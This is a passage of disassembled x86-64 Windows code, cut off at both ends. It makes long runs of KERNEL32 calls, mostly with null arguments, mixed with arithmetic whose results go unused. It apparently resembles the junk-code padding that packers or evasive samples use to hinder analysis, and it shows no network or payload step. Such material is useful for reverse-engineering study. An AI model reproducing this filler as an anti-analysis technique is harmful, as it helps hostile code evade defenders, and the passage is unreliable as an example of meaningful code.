lea rcx, [rsp + 0x20248]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc4d0]
movzx eax, byte [rax]
mov byte [rsp + 0x3cd], al
mov eax, dword [rsp + 0x6734]
mov rcx, qword [rsp + 0xcdb8]
mov qword [rsp + 0xd6c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd6c8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xd6a8]
mov dword [rcx], eax
movsx eax, word [rsp + 0x223c]
movsx ecx, word [rsp + 0x1fb4]
and eax, ecx
mov word [rsp + 0xa3c], ax
movzx eax, word [rsp + 0x1c98]
mov word [rsp + 0x23a4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov rcx, qword [rsp + 0xd308]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx ecx, word [rsp + 0x2084]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x23a8], ax
lea rcx, [rsp + 0x1d408]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rcx, qword [rsp + 0xca98]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6520], eax
lea rdx, [rsp + 0x263a8]
mov rcx, qword [rsp + 0xd1a8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6778], eax
xor edx, edx
mov rax, qword [0x1401c8a40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd138]
div dword [rcx]
mov dword [rsp + 0x6348], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [rsp + 0xd180]
mov rcx, qword [rsp + 0xd298]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4f8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
movzx ecx, word [rsp + 0x1f60]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x23ac], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc120], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6640], eax
mov rax, qword [rsp + 0xcea0]
movsx eax, byte [rax]
movsx ecx, byte [reloc.SHELL32.dll_PathYetAnotherMakeUniqueName]
sub eax, ecx
mov rcx, qword [rsp + 0xcce8]
mov byte [rcx], al
movzx eax, word [rsp + 0x2138]
mov word [rsp + 0x23b0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
movzx eax, word [rsp + 0x22c4]
mov rcx, qword [rsp + 0xcdf0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c7150], ax
mov rax, qword [0x1401c8a90]
mov rcx, qword [rsp + 0xd690]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9620], rax
mov rax, qword [rsp + 0xd488]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc878]
mov qword [rsp + 0xd6d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd6d0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc580], rax
mov rax, qword [rsp + 0xcf58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc6b8]
mov qword [rsp + 0xd6d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd6d8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xa2f8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc9f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc268]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1994], ax
lea rcx, [rsp + 0x1fd08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc4a0]
mov rax, qword [rax]
mov qword [rsp + 0xd6e0], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6548], eax
mov rax, qword [rsp + 0xd100]
movsx eax, byte [rax]
mov rcx, qword [0x1401c8ca8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x13f], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rax, qword [rsp + 0xd440]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6348]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd2f8]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov eax, dword [rsp + 0x6734]
mov dword [rsp + 0x677c], eax
mov rax, qword [rsp + 0xca88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc438]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xab], al
mov rax, qword [rsp + 0xc268]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc7f8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401c8b80]
mov word [rcx], ax
lea rcx, [rsp + 0x1d750]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx eax, word [rsp + 0x21b8]
mov rcx, qword [rsp + 0xcef8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1a48], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
movzx eax, word [rsp + 0x2380]
mov rcx, qword [rsp + 0xd600]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2240], ax
mov rax, qword [rsp + 0xca00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcc80]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcf68]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6668], eax
lea rax, [0x1401c8a18]
mov qword [rsp + 0xd6e8], rax
mov rax, qword [rsp + 0xd418]
mov rcx, qword [rsp + 0xc3a8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc950], rax
mov rax, qword [rsp + 0xcd18]
movzx eax, byte [rax]
mov byte [rsp + 0x3ce], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov rax, qword [rsp + 0xd068]
movsx eax, word [rax]
mov rcx, qword [0x1401c8cb8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1130], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xcd38], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xd6f0], rax
mov rcx, qword [rsp + 0xc7d8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x65e4], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
movzx eax, word [rsp + 0x1e4c]
movzx ecx, word [rsp + 0x21c4]
sub eax, ecx
mov word [rsp + 0x1e24], ax
mov rax, qword [rsp + 0xcc88]
mov rax, qword [rax]
mov qword [0x1401c8cd8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xd6f8], rax
movzx eax, word [rsp + 0x1bc8]
movzx ecx, word [0x1401c7074]
sub eax, ecx
mov word [rsp + 0x1624], ax
mov r9d, 0x17bf
xor r8d, r8d
lea rdx, [rsp + 0xcf88]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x65b8], eax
movzx ecx, word [rsp + 0x21e4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x23b4], ax
mov rax, qword [rsp + 0xc390]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd118]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa2f8], rax
lea rcx, [rsp + 0x1fc18]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rdx, [rsp + 0x263e0]
mov rcx, qword [rsp + 0xc630]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6550], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x234c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2088], ax
mov rcx, qword [rsp + 0xd0b8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0x1ff18]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc7d0]
mov qword [rsp + 0xd700], rax
mov rax, qword [rsp + 0xca90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39b]
shl eax, cl
mov byte [rsp + 0x2b7], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd708], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
lea rax, [rsp + 0x6554]
mov qword [rsp + 0xd710], rax
mov eax, dword [rsp + 0x6734]
movzx ecx, al
mov eax, dword [rsp + 0x66a4]
sar eax, cl
mov dword [rsp + 0x5ba0], eax
movzx ecx, word [rsp + 0x1f30]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2004], ax
movzx ecx, word [rsp + 0x1f98]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x23b8], ax
mov rax, qword [rsp + 0xd148]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x381]
sub eax, ecx
mov byte [rsp + 0x3b7], al
mov rax, qword [rsp + 0xd2c0]
mov qword [rsp + 0xd718], rax
mov rcx, qword [rsp + 0xc528]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [rsp + 0x21b0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f5c], ax
lea rax, [rsp + 0x19f8]
mov qword [0x1401c8ce0], rax
movsx eax, word [rsp + 0x14bc]
movsx ecx, word [0x1401c8b08]
add eax, ecx
mov rcx, qword [rsp + 0xd4f0]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd320], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
movzx eax, word [rsp + 0x1884]
mov rcx, qword [rsp + 0xcd00]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1aa0], ax
mov rax, qword [rsp + 0xc558]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc948]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcbb0]
mov word [rcx], ax
mov rax, qword [rsp + 0xc5d8]
mov ecx, dword [rsp + 0x66e0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x65d0], eax
mov r9d, 0x2238
xor r8d, r8d
lea rdx, [rsp + 0xc528]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6540], eax
lea rax, [rsp + 0xc6c0]
mov qword [rsp + 0xd720], rax
mov rax, qword [rsp + 0xc668]
movsx eax, byte [rax]
mov rcx, qword [0x1401c8ca8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x3af], al
mov rax, qword [rsp + 0xc2b8]
movzx eax, word [rax]
mov word [rsp + 0x23bc], ax
movzx eax, word [rsp + 0x208c]
movzx ecx, word [rsp + 0x1488]
and eax, ecx
mov word [rsp + 0x2350], ax
mov rax, qword [rsp + 0xd4a0]
mov rcx, qword [rsp + 0xc3c8]
mov qword [rsp + 0xd728], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd728]
mov rax, qword [rax]
sar rax, cl
mov qword [0x1401c8b38], rax
mov rax, qword [rsp + 0xc990]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc7b0]
shl rax, cl
mov qword [rsp + 0xa850], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd730], rax
movzx ecx, word [rsp + 0x1f10]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f74], ax
lea rax, [rsp + 0xc868]
mov qword [rsp + 0xd738], rax
mov rax, qword [rsp + 0xd268]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb1e8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xca00]
mov qword [rcx], rax
lea rcx, [rsp + 0x1fcd8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x20a8]
mov qword [rsp + 0xd740], rax
mov rax, qword [rsp + 0xce00]
mov rcx, qword [rsp + 0xc6a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xce00]
mov dword [rcx], eax
mov edx, 0x22eb
mov rcx, qword [rsp + 0xc870]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6780], eax
movzx eax, byte [rsp + 0x36b]
mov rcx, qword [rsp + 0xd500]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x9c], al
lea rcx, [rsp + 0x20278]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
movsx eax, byte [rsp + 0x3be]
movsx ecx, byte [rsp + 0x146]
imul eax, ecx
mov rcx, qword [rsp + 0xd1f0]
mov byte [rcx], al
lea rcx, [rsp + 0x1ffd8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x65e0]
movzx ecx, al
mov eax, dword [rsp + 0x6154]
shl eax, cl
mov dword [rsp + 0x60f4], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov r9d, 2
lea r8, [rsp + 0xc098]
mov rdx, qword [rsp + 0xd748]
mov rcx, qword [rsp + 0xc440]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6550], eax
mov rcx, qword [rsp + 0xc180]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x656c], eax
mov rax, qword [rsp + 0xc6c0]
movzx ecx, al
mov rax, qword [0x1401c8b40]
shr rax, cl
mov qword [0x1401c8b70], rax
mov rax, qword [rsp + 0xd678]
movzx eax, word [rax]
mov word [rsp + 0x23c0], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc338], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movsx eax, word [rsp + 0x1808]
movsx ecx, word [rsp + 0x2294]
or eax, ecx
mov word [rsp + 0x2318], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x65b8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd360], rax
movzx eax, word [rsp + 0xfdc]
mov rcx, qword [rsp + 0xc5b8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1678], ax
lea rcx, [rsp + 0x1d610]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xd560]
mov rcx, qword [rsp + 0xcfb8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc1d8], rax
lea rcx, [rsp + 0x1fd68]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xcc98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc720]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x17d], al
mov eax, dword [rsp + 0x64ac]
mov dword [rsp + 0x6784], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov rax, qword [rsp + 0xc378]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb490]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa1d8], rax
movzx eax, word [rsp + 0x21c8]
mov word [rsp + 0x23c4], ax
mov rax, qword [rsp + 0xd4b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcef8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401c7154], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9868]
cqo
movabs rcx, 0x759b4ca20c7364
idiv rcx
mov qword [rsp + 0xcef0], rax
mov rax, qword [rsp + 0xc5b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1164]
or eax, ecx
mov word [rsp + 0x2110], ax
mov r9d, 1
lea r8, [rsp + 0xc190]
mov rdx, qword [rsp + 0xc600]
mov rcx, qword [rsp + 0xc270]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x66f4], eax
lea rdx, [rsp + 0x26258]
mov rcx, qword [rsp + 0xcd10]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6788], eax
lea rax, [rsp + 0x6484]
mov qword [rsp + 0xd750], rax
lea rcx, str.Qzrsif8z
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1fa8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rax, qword [rsp + 0xd148]
movzx eax, byte [rax]
movzx ecx, byte [0x1401c8a16]
sar eax, cl
mov byte [rsp + 0x399], al
mov rax, qword [rsp + 0xce58]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc508]
shl rax, cl
mov qword [rsp + 0xa030], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [rsp + 0x65]
mov rcx, qword [rsp + 0xd590]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1e5], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov rax, qword [0x1401c8a40]
mov rcx, qword [rsp + 0xd440]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x673c], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6648], eax
movzx eax, word [rsp + 0xbe4]
mov word [rsp + 0x23c8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc900]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2044]
add eax, ecx
mov rcx, qword [0x1401c8c10]
mov word [rcx], ax
mov rax, qword [rsp + 0xc738]
mov rcx, qword [rsp + 0xc540]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xd268]
mov qword [rcx], rax
mov rcx, qword [rsp + 0xd040]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6744], eax
mov rax, qword [rsp + 0xd560]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcc38]
mov qword [rsp + 0xd758], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd758]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9650], rax
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
movsx ecx, word [0x1401c70c0]
shl eax, cl
mov word [rsp + 0x1f7c], ax
lea rax, [rsp + 0x195c]
mov qword [rsp + 0xd760], rax
mov rax, qword [rsp + 0xcc40]
mov rcx, qword [rsp + 0xced0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcdd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd2f8]
mov rcx, qword [rsp + 0xd598]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x59b4], eax
mov rax, qword [rsp + 0xc328]
movzx eax, byte [rax]
mov byte [rsp + 0x3cf], al
mov rax, qword [rsp + 0xc738]
mov rcx, qword [rsp + 0xd560]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc878]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rax, qword [rsp + 0xc2b8]
movzx eax, word [rax]
mov word [0x1401c8ce8], ax
movzx eax, word [rsp + 0x2350]
mov word [rsp + 0x23cc], ax
mov rax, qword [rsp + 0xc4b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc4d0]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x374], al
mov rax, qword [rsp + 0xd3b0]
mov rcx, qword [rsp + 0xcaf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xd650]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xce10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd448]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x99d8], rax
mov rax, qword [rsp + 0xd190]
mov rcx, qword [rsp + 0xd458]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6448], eax
movzx ecx, word [rsp + 0x2218]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2324], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6434], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6558], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 0x21ff
xor r8d, r8d
lea rdx, [rsp + 0xc140]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6558], eax
mov rax, qword [rsp + 0xcd28]
mov rax, qword [rax]
mov qword [rsp + 0xd768], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov rax, qword [rsp + 0xcba0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd1f0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x39c], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0x236c]
mov rcx, qword [0x1401c8a38]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x237c], ax
movzx eax, word [rsp + 0x20f0]
mov rcx, qword [rsp + 0xca60]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c7150], ax
mov rax, qword [rsp + 0xd268]
mov rcx, qword [rsp + 0xd738]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9b48], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc2d0], rax
mov r9d, 2
lea r8, [rsp + 0xd208]
mov rdx, qword [rsp + 0xd770]
mov rcx, qword [rsp + 0xcd10]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x65f0], eax
mov r9d, 0xa17
xor r8d, r8d
lea rdx, [rsp + 0xca10]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x64d0], eax
movzx eax, word [rsp + 0x200c]
mov rcx, qword [rsp + 0xc858]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1bc8], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x672c], eax
xor r9d, r9d
lea r8, [rsp + 0xc198]
mov rdx, qword [rsp + 0xd770]
mov rcx, qword [rsp + 0xc270]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x678c], eax
mov r9d, 0xc0d
xor r8d, r8d
lea rdx, [rsp + 0xcfe0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6324], eax
movzx eax, word [rsp + 0x22d8]
mov word [rsp + 0x23d0], ax
mov rax, qword [rsp + 0x9b48]
mov rcx, qword [rsp + 0xbb60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd6b8], rax
mov rax, qword [rsp + 0xcf18]
mov rcx, qword [rsp + 0xbab8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xcec0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x380]
mov byte [rsp + 0x3d0], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc2d0], rax
lea rcx, str.LU12Ad1v
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x23d4], ax
mov rax, qword [rsp + 0xc3c0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6348]
shl eax, cl
mov dword [rsp + 0x63c4], eax
movzx eax, word [rsp + 0x2178]
mov rcx, qword [rsp + 0xd2d0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1eb0], ax
lea rcx, [rsp + 0x1d660]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov rax, qword [rsp + 0xcdf8]
mov qword [0x1401c8cf0], rax
lea rcx, [rsp + 0x20188]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, byte [rsp + 0x3a1]
movzx ecx, byte [rsp + 0x3ad]
add eax, ecx
mov byte [rsp + 0x3cd], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xc3b8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x64bc], eax
mov eax, dword [rsp + 0x64f8]
mov dword [rsp + 0x6790], eax
movzx ecx, word [rsp + 0x2308]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x21ec], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6794], eax
mov rax, qword [rsp + 0xd630]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x235c]
add eax, ecx
mov word [rsp + 0xb84], ax
movzx eax, word [rsp + 0x218c]
mov rcx, qword [0x1401c8b90]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1aa0], ax
mov rax, qword [rsp + 0xd640]
mov rcx, qword [rsp + 0xd190]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5634], eax
movsx eax, byte [rsp + 0x377]
movsx ecx, byte [rsp + 0x25e]
sub eax, ecx
mov byte [rsp + 0x3cf], al
mov rcx, qword [rsp + 0xd2f0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [0x1401c8a88]
mov qword [rsp + 0xd778], rax
movsx eax, word [rsp + 0x237c]
movsx ecx, word [rsp + 0x2198]
or eax, ecx
mov word [rsp + 0x1130], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
lea rcx, [rsp + 0x1d5c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx eax, word [rsp + 0x1bc8]
mov rcx, qword [rsp + 0xc558]
movzx ecx, word [rcx]
sar eax, cl
